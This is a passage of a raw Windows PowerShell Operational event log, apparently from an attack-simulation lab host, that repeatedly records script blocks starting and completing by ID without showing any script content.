SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050409
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050408
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050407
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050406
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050405
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050404
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050403
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050402
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050401
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050400
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050399
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050398
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050397
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050396
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050395
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050394
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050393
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050392
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050391
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050390
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050389
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050388
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050387
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050386
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050385
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050384
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050383
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050382
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050381
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050380
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050379
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050378
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050377
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050376
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050375
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050374
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050373
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050372
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050371
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050370
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050369
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050368
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050367
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050366
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050365
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050364
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050363
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050362
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050361
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050360
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050359
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050358
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050357
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
